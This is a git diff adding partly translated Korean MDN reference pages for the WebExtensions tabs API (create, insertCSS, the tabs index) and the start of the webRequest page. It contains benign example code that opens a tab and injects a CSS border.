+   <li>file: URL (예, 파일시스템의 파일들. 단, 확장 안에 포함된 파일의 사용은 아래를 보라)</li>
+   <li>특권이 있는 about: URL (예, <code>about:config</code>, <code>about:addons</code>, <code>about:debugging</code>)<span style="display: none;"> </span>. 특권이 없는 URL은 된다 (예, <code>about:blank</code>).</li>
+   <li>새 탭 페이지 (<code>about:newtab</code>)는 URL 값이 주어지지 않으면 열린다.</li>
+  </ul>
+
+  <p>확장에 포함된 페이지의 로딩은 확장의 manifest.json 파일이 있는데서 시작하는 절대 경로를 써라. 예를 들면: '/path/to/my-page.html'. 만약 첫 '/'를 빼면 URL은 상대 경로로 취급되고, 다른 브라우저들은 다른 절대 경로를 생성해낼 것이다.</p>
+  </dd>
+  <dt><code>windowId</code>{{optional_inline}}</dt>
+  <dd><code>integer</code>. 새 탭이 만들어질 윈도우. 기본값은 현재 윈도우.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> that will be fulfilled with a {{WebExtAPIRef('tabs.Tab')}} object containing details about the created tab. If the tab could not be created (for example, because <code>url</code> used a privileged scheme) the promise will be rejected with an error message.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.tabs.create", 10)}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>Open "https://example.org" in a new tab:</p>
+
+<pre class="brush: js">function onCreated(tab) {
+  console.log(`Created new tab: ${tab.id}`)
+}
+
+function onError(error) {
+  console.log(`Error: ${error}`);
+}
+
+browser.browserAction.onClicked.addListener(function() {
+  var creating = browser.tabs.create({
+    url:"https://example.org"
+  });
+  creating.then(onCreated, onError);
+});</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/tabs#method-create"><code>chrome.tabs</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/tabs.json"><code>tabs.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/index.html b/files/ko/mozilla/add-ons/webextensions/api/tabs/index.html
new file mode 100644
index 0000000000..f3a923d31d
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/index.html
@@ -0,0 +1,213 @@
+---
+title: tabs
+slug: Mozilla/Add-ons/WebExtensions/API/tabs
+tags:
+  - API
+  - Add-ons
+  - Extensions
+  - Interface
+  - NeedsTranslation
+  - Non-standard
+  - Reference
+  - TopicStub
+  - WebExtensions
+  - tabs
+translation_of: Mozilla/Add-ons/WebExtensions/API/tabs
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Interact with the browser's tab system.</p>
+
+<p>브라우저의 탭 시스템과의 상호작용.</p>
+
+<p>You can use this API to get a list of opened tabs, filtered by various criteria, and to open, update, move, reload, and remove tabs. You can't directly access the content hosted by tabs using this API, but you can insert JavaScript and CSS into tabs using the {{WebExtAPIRef("tabs.executeScript()")}} or {{WebExtAPIRef("tabs.insertCSS()")}} APIs.</p>
+
+<p>이 API는 열려있는 탭의 목록을 얻는데, 다양한 기준으로 걸러내는데, 그리고 탭을 열고, 고치고, 옮기고, 다시 싣고, 없애는데 사용할 수 있다. 이 API로 탭에 열린 콘텐트를 직접 다룰 수는 없지만, {{WebExtAPIRef("tabs.executeScript()")}}나 {{WebExtAPIRef("tabs.insertCSS()")}} API로 탭에 자바스크립트와 CSS를 끼워 넣을 수는 있다.</p>
+
+<p>You can use most of this API without any special permission. However:</p>
+
+<p>특별한 권한없이 이 API의 대부분을 사용할 수 있지만:</p>
+
+<ul>
+ <li>to access <code>Tab.url</code>, <code>Tab.title</code>, and <code>Tab.favIconUrl</code>, you need to have the "tabs" <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permission</a>. In Firefox this also means you need "tabs" to {{WebExtAPIRef("tabs.query", "query")}} by URL.</li>
+ <li>to use {{WebExtAPIRef("tabs.executeScript()")}} or {{WebExtAPIRef("tabs.insertCSS()")}} you must have the <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">host permission</a> for the tab</li>
+</ul>
+
+<p> </p>
+
+<ul>
+ <li><code>Tab.url</code>, <code>Tab.title</code>, and <code>Tab.favIconUrl</code>에 접근하려면 "tabs" <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">권한</a>을 가져야 한다. 파이어폭스에서 이 말은 URL로 {{WebExtAPIRef("tabs.query", "query")}} 하는데도 "tabs"가 필요하다는 뜻이다.</li>
+ <li>{{WebExtAPIRef("tabs.executeScript()")}}나 {{WebExtAPIRef("tabs.insertCSS()")}}를 사용하려면 탭에 대한 <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">host 권한</a>을 가져야 한다.</li>
+</ul>
+
+<p> </p>
+
+<p>또는 이런 권한을 일시적으로 얻는 방법도 있다. 현재 활성 탭이거나 명시적인 사용자 동작의 응답이라면 <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission">"activeTab" 권한</a>을 요청하면 된다.</p>
+
+<p>많은 탭 작업은 탭 ID를 사용한다. 탭 ID는 브라우저 세션 내에서 탭마다 고유하도록 보장된다. 브라우저가 다시 시작되면, 탭 ID를 재사용할 수 있고 그럴 것이다. 다시 시작하는 브라우저에 걸쳐서 탭에 정보를 연관시키려면 {{WebExtAPIRef("sessions.setTabValue()")}}를 사용해라.</p>
+
+<h2 id="Types">Types</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("tabs.MutedInfoReason")}}</dt>
+ <dd>Specifies the reason a tab was muted or unmuted.</dd>
+ <dt>{{WebExtAPIRef("tabs.MutedInfo")}}</dt>
+ <dd>This object contains a boolean indicating whether the tab is muted, and the reason for the last state change.</dd>
+ <dt>{{WebExtAPIRef("tabs.Tab")}}</dt>
+ <dd>This type contains information about a tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.TabStatus")}}</dt>
+ <dd>Indicates whether the tab has finished loading.</dd>
+ <dt>{{WebExtAPIRef("tabs.WindowType")}}</dt>
+ <dd>The type of window that hosts this tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.ZoomSettingsMode")}}</dt>
+ <dd>Defines whether zoom changes are handled by the browser, by the add-on, or are disabled.</dd>
+ <dt>{{WebExtAPIRef("tabs.ZoomSettingsScope")}}</dt>
+ <dd>Defines whether zoom changes will persist for the page's origin, or only take effect in this tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.ZoomSettings")}}</dt>
+ <dd>Defines zoom settings {{WebExtAPIRef("tabs.ZoomSettingsMode", "mode")}}, {{WebExtAPIRef("tabs.ZoomSettingsScope", "scope")}}, and default zoom factor.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("tabs.TAB_ID_NONE")}}</dt>
+ <dd>A special ID value given to tabs that are not browser tabs (for example, tabs in devtools windows).</dd>
+</dl>
+
+<h2 id="Functions">Functions</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("tabs.connect()")}}</dt>
+ <dd>Sets up a messaging connection between the add-on's background scripts (or other privileged scripts, such as popup scripts or options page scripts) and any <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> running in the specified tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.create()")}}</dt>
+ <dd>Creates a new tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.captureVisibleTab()")}}</dt>
+ <dd>Creates a data URI encoding an image of the visible area of the currently active tab in the specified window.</dd>
+ <dt>{{WebExtAPIRef("tabs.detectLanguage()")}}</dt>
+ <dd>Detects the primary language of the content in a tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.duplicate()")}}</dt>
+ <dd>Duplicates a tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.executeScript()")}}</dt>
+ <dd>Injects JavaScript code into a page.</dd>
+ <dt>{{WebExtAPIRef("tabs.get()")}}</dt>
+ <dd>Retrieves details about the specified tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.getAllInWindow()")}} {{deprecated_inline}}</dt>
+ <dd>Gets details about all tabs in the specified window.</dd>
+ <dt>{{WebExtAPIRef("tabs.getCurrent()")}}</dt>
+ <dd>Gets information about the tab that this script is running in, as a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/Tabs/Tab" title="This type contains information about a tab."><code>tabs.Tab</code></a> object.</dd>
+ <dt>{{WebExtAPIRef("tabs.getSelected()")}} {{deprecated_inline}}</dt>
+ <dd>Gets the tab that is selected in the specified window.</dd>
+ <dt>{{WebExtAPIRef("tabs.getZoom()")}}</dt>
+ <dd>Gets the current zoom factor of the specified tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.getZoomSettings()")}}</dt>
+ <dd>Gets the current zoom settings for the specified tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.highlight()")}}</dt>
+ <dd>Highlights one or more tabs.</dd>
+ <dt>{{WebExtAPIRef("tabs.insertCSS()")}}</dt>
+ <dd>Injects CSS into a page.</dd>
+ <dt>{{WebExtAPIRef("tabs.removeCSS()")}}</dt>
+ <dd>Removes from a page CSS which was previously injected by calling {{WebExtAPIRef("tabs.insertCSS()")}}.</dd>
+ <dt>{{WebExtAPIRef("tabs.move()")}}</dt>
+ <dd>Moves one or more tabs to a new position in the same window or to a different window.</dd>
+ <dt>{{WebExtAPIRef("tabs.query()")}}</dt>
+ <dd>Gets all tabs that have the specified properties, or all tabs if no properties are specified.</dd>
+ <dt>{{WebExtAPIRef("tabs.reload()")}}</dt>
+ <dd>Reload a tab, optionally bypassing the local web cache.</dd>
+ <dt>{{WebExtAPIRef("tabs.remove()")}}</dt>
+ <dd>Closes one or more tabs.</dd>
+ <dt>{{WebExtAPIRef("tabs.sendMessage()")}}</dt>
+ <dd>Sends a single message to the content script(s) in the specified tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.sendRequest()")}} {{deprecated_inline}}</dt>
+ <dd>Sends a single request to the content script(s) in the specified tab. <strong>Deprecated</strong>: use {{WebExtAPIRef("tabs.sendMessage()")}} instead.</dd>
+ <dt>{{WebExtAPIRef("tabs.setZoom()")}}</dt>
+ <dd>Zooms the specified tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.setZoomSettings()")}}</dt>
+ <dd>Sets the zoom settings for the specified tab.</dd>
+ <dt>{{WebExtAPIRef("tabs.update()")}}</dt>
+ <dd>Navigate the tab to a new URL, or modify other properties of the tab.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("tabs.onActivated")}}</dt>
+ <dd>Fires when the active tab in a window changes. Note that the tab's URL may not be set at the time this event fired.</dd>
+ <dt>{{WebExtAPIRef("tabs.onActiveChanged")}} {{deprecated_inline}}</dt>
+ <dd>Fires when the selected tab in a window changes. <strong>Deprecated:</strong> use {{WebExtAPIRef("tabs.onActivated")}} instead.</dd>
+ <dt>{{WebExtAPIRef("tabs.onAttached")}}</dt>
+ <dd>Fired when a tab is attached to a window, for example because it was moved between windows.</dd>
+ <dt>{{WebExtAPIRef("tabs.onCreated")}}</dt>
+ <dd>Fired when a tab is created. Note that the tab's URL may not be set at the time this event fired.</dd>
+ <dt>{{WebExtAPIRef("tabs.onDetached")}}</dt>
+ <dd>Fired when a tab is detached from a window, for example because it is being moved between windows.</dd>
+ <dt>{{WebExtAPIRef("tabs.onHighlightChanged")}} {{deprecated_inline}}</dt>
+ <dd>Fired when the highlighted or selected tabs in a window change. <strong>Deprecated:</strong> use {{WebExtAPIRef("tabs.onHighlighted")}} instead.</dd>
+ <dt>{{WebExtAPIRef("tabs.onHighlighted")}}</dt>
+ <dd>Fired when the highlighted or selected tabs in a window change.</dd>
+ <dt>{{WebExtAPIRef("tabs.onMoved")}}</dt>
+ <dd>Fired when a tab is moved within a window.</dd>
+ <dt>{{WebExtAPIRef("tabs.onRemoved")}}</dt>
+ <dd>Fired when a tab is closed.</dd>
+ <dt>{{WebExtAPIRef("tabs.onReplaced")}}</dt>
+ <dd>Fired when a tab is replaced with another tab due to prerendering.</dd>
+ <dt>{{WebExtAPIRef("tabs.onSelectionChanged")}} {{deprecated_inline}}</dt>
+ <dd>Fires when the selected tab in a window changes. <strong>Deprecated:</strong> use {{WebExtAPIRef("tabs.onActivated")}} instead.</dd>
+ <dt>{{WebExtAPIRef("tabs.onUpdated")}}</dt>
+ <dd>Fired when a tab is updated.</dd>
+ <dt>{{WebExtAPIRef("tabs.onZoomChange")}}</dt>
+ <dd>Fired when a tab is zoomed.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("webextensions.api.tabs")}}</p>
+
+<div class="hidden note">
+<p>The "Chrome incompatibilities" section is included from <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities"> https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a> using the <a href="/en-US/docs/Template:WebExtChromeCompat">WebExtChromeCompat</a> macro.</p>
+
+<p>If you need to update this content, edit <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a>, then shift-refresh this page to see your changes.</p>
+</div>
+
+<h3 id="Edge_incompatibilities">Edge incompatibilities</h3>
+
+<p>Promises are not supported in Edge. Use callbacks instead.</p>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/tabs"><code>chrome.tabs</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/tabs.json"><code>tabs.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.html b/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.html
new file mode 100644
index 0000000000..9fbf180263
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.html
@@ -0,0 +1,129 @@
+---
+title: tabs.insertCSS()
+slug: Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS
+translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>페이지에 CSS 삽입하기</p>
+
+<p>이 API를 사용하기 위해 여러분은 해당 페이지 URL에 대한 허가가 필요합니다. 이 허가에 대한 요청은  <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">호스트 허가</a>를 통하거나  <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission">활성화 된 탭 허가</a>을 사용할 수도 있습니다.</p>
+
+<p>You can only inject CSS into pages whose URL can be expressed using a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">match pattern</a>: meaning, its scheme must be one of "http", "https", "file", "ftp". This means that you can't inject CSS into any of the browser's built-in pages, such as about:debugging, about:addons, or the page that opens when you open a new empty tab.</p>
+
+<p>The inserted CSS may be removed again by calling {{WebExtAPIRef("tabs.removeCSS()")}}.</p>
+
+<p>This is an asynchronous function that returns a <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox brush:js">var inserting = browser.tabs.insertCSS(
+  tabId,           // optional integer
+  details          // extensionTypes.InjectDetails
+)
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>tabId</code> {{optional_inline}}</dt>
+ <dd><code>integer</code>. The ID of the tab in which to insert the CSS. Defaults to the active tab of the current window.</dd>
+ <dt><code>details</code></dt>
+ <dd>{{WebExtAPIRef('extensionTypes.InjectDetails')}}. Describes the CSS to insert. This contains the following properties:</dd>
+ <dd>
+ <dl class="reference-values">
+  <dt><code>allFrames</code>{{optional_inline}}</dt>
+  <dd><code>boolean</code>. If <code>true</code>, the CSS will be injected into all frames of the current page. If it is <code>false</code>, CSS is only injected into the top frame. Defaults to <code>false</code>.</dd>
+  <dt><code>code</code>{{optional_inline}}</dt>
+  <dd><code>string</code>. Code to inject, as a text string.</dd>
+  <dt><code>cssOrigin</code>{{optional_inline}}</dt>
+  <dd><code>string</code>. This can take one of two values: "user", to add the CSS as a user stylesheet, or "author" to add it as an author stylesheet. Specifying "user" enables you to prevent websites from overriding the CSS you insert: see <a href="/en-US/docs/Web/CSS/Cascade#Cascading_order">Cascading order</a>. If this option is omitted, the CSS is added as an author stylesheet.</dd>
+  <dt><code>file</code>{{optional_inline}}</dt>
+  <dd><code>string</code>. Path to a file containing the code to inject. In Firefox, relative URLs are resolved relative to the current page URL. In Chrome, these URLs are resolved relative to the add-on's base URL. To work cross-browser, you can specify the path as an absolute URL, starting at the add-on's root, like this: <code>"/path/to/stylesheet.css"</code>.</dd>
+  <dt><code>frameId</code>{{optional_inline}}</dt>
+  <dd><code>integer</code>. The frame where the CSS should be injected. Defaults to <code>0</code> (the top-level frame).</dd>
+  <dt><code>matchAboutBlank</code>{{optional_inline}}</dt>
+  <dd><code>boolean</code>. If <code>true</code>, the code will be injected into embedded "about:blank" and "about:srcdoc" frames if your add-on has access to their parent document. The code cannot be inserted in top-level about: frames. Defaults to <code>false</code>.</dd>
+  <dt><code>runAt</code>{{optional_inline}}</dt>
+  <dd>{{WebExtAPIRef('extensionTypes.RunAt')}}. The soonest that the code will be injected into the tab. Defaults to "document_idle".</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> that will be fulfilled with no arguments when all the CSS has been inserted. If any error occurs, the promise will be rejected with an error message.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.tabs.insertCSS")}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This example inserts into the currently active tab CSS which is taken from a string.</p>
+
+<pre class="brush: js">var css = "body { border: 20px dotted pink; }";
+
+browser.browserAction.onClicked.addListener(() =&gt; {
+
+  function onError(error) {
+    console.log(`Error: ${error}`);
+  }
+
+  var insertingCSS = browser.tabs.insertCSS({code: css});
+  insertingCSS.then(null, onError);
+});</pre>
+
+<p>This example inserts CSS which is loaded from a file packaged with the extension. The CSS is inserted into the tab whose ID is 2:</p>
+
+<pre class="brush: js">browser.browserAction.onClicked.addListener(() =&gt; {
+
+  function onError(error) {
+    console.log(`Error: ${error}`);
+  }
+
+  var insertingCSS = browser.tabs.insertCSS(2, {file: "content-style.css"});
+  insertingCSS.then(null, onError);
+});</pre>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/tabs#method-insertCSS"><code>chrome.tabs</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/tabs.json"><code>tabs.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.html b/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.html
new file mode 100644
index 0000000000..3aa39a9590
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.html
@@ -0,0 +1,204 @@
+---
+title: webRequest
+slug: Mozilla/Add-ons/WebExtensions/API/webRequest
+tags:
+  - API
+  - Add-ons
+  - Extensions
+  - Interface
+  - Non-standard
+  - Reference
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Add event listeners for the various stages of making an HTTP request. The event listener receives detailed information about the request and can modify or cancel the request.</p>
+
+<p>Each event is fired at a particular stage of the request. The typical sequence of events is like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13376/webRequest-flow.png" style="display: block; height: 680px; margin-left: auto; margin-right: auto; width: 624px;"></p>
+
+<p>{{WebExtAPIRef("webRequest.onErrorOccurred", "onErrorOccurred")}} can be fired at any time during the request. Also, note that sometimes the sequence of events may differ from this: for example, in Firefox, on an <a href="/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security">HSTS</a> upgrade, the <code>onBeforeRedirect</code> event will be triggered immediately after <code>onBeforeRequest</code>.</p>
+
+<p>All the events, except <code>onErrorOccurred</code>, can take three arguments to <code>addListener()</code>:</p>
+
+<ul>
+ <li>the listener itself</li>
+ <li>a {{WebExtAPIRef("webRequest.RequestFilter", "filter")}} object, so you can only be notified for requests made to particular URLs or for particular types of resource</li>
+ <li>an optional <code>extraInfoSpec</code> object. You can use this to pass additional event-specific instructions.</li>
+</ul>
+
+<p>리스너는 요청 정보가 담긴 <code>details</code> 객체를 받는다. This includes a request ID, which is provided to enable an add-on to correlate events associated with a single request. It is unique within a browser session and the add-on's context. It stays the same throughout a request, even across redirections and authentication exchanges.</p>
+
+<p>webRequest API를 사용하려면 확장 프로그램은 "webRequest" <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">API 권한</a>을 가져야 하고, 대상 호스트에 대해서도 <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions">호스트 권한</a>을 가져야 한다. "blocking" 기능을  사용하려면 추가로 "webRequestBlocking" API 권한도 가져야 한다.</p>
+
+<p>To intercept resources loaded by a page (such as images, scripts, or stylesheets), the extension must have the host permission for the resource as well as for the main page requesting the resource. For example, if a page at "https://developer.mozilla.org" loads an image from "https://mdn.mozillademos.org", then an extension must have both host permissions if it is to intercept the image request.</p>
+
+<h2 id="Modifying_requests">Modifying requests</h2>
+
+<p>On some of these events, you can modify the request. Specifically, you can:</p>
+
+<ul>
+ <li>cancel the request in:
+  <ul>
+   <li>{{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}}</li>
+   <li>{{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}}</li>
+   <li>{{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}</li>
+  </ul>
+ </li>
+ <li>redirect the request in:
+  <ul>
+   <li>{{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}}</li>
+   <li>{{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}</li>
+  </ul>
+ </li>
+ <li>modify request headers in:
+  <ul>
+   <li>{{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}}
+    <ul>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>modify response headers in:
+  <ul>
+   <li>{{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}}</li>
+  </ul>
+ </li>
+ <li>supply authentication credentials in:
+  <ul>
+   <li>{{WebExtAPIRef("webRequest.onAuthRequired", "onAuthRequired")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<p>To do this, you need to pass an option with the value "blocking" in the <code>extraInfoSpec</code> argument to the event's <code>addListener()</code>. This makes the listener synchronous. In the listener, you can then return a {{WebExtAPIRef("webRequest.BlockingResponse", "BlockingResponse")}} object, which indicates the modification you need to make: for example, the modified request header you want to send.</p>
+
+<h2 id="Accessing_security_information">Accessing security information</h2>
+
+<p>In the {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}} listener you can access the <a href="/en-US/docs/Glossary/TLS">TLS</a> properties of a request by calling {{WebExtAPIRef("webRequest.getSecurityInfo()", "getSecurityInfo()")}}. To do this you must also pass "blocking" in the <code>extraInfoSpec</code> argument to the event's <code>addListener()</code>.</p>
+
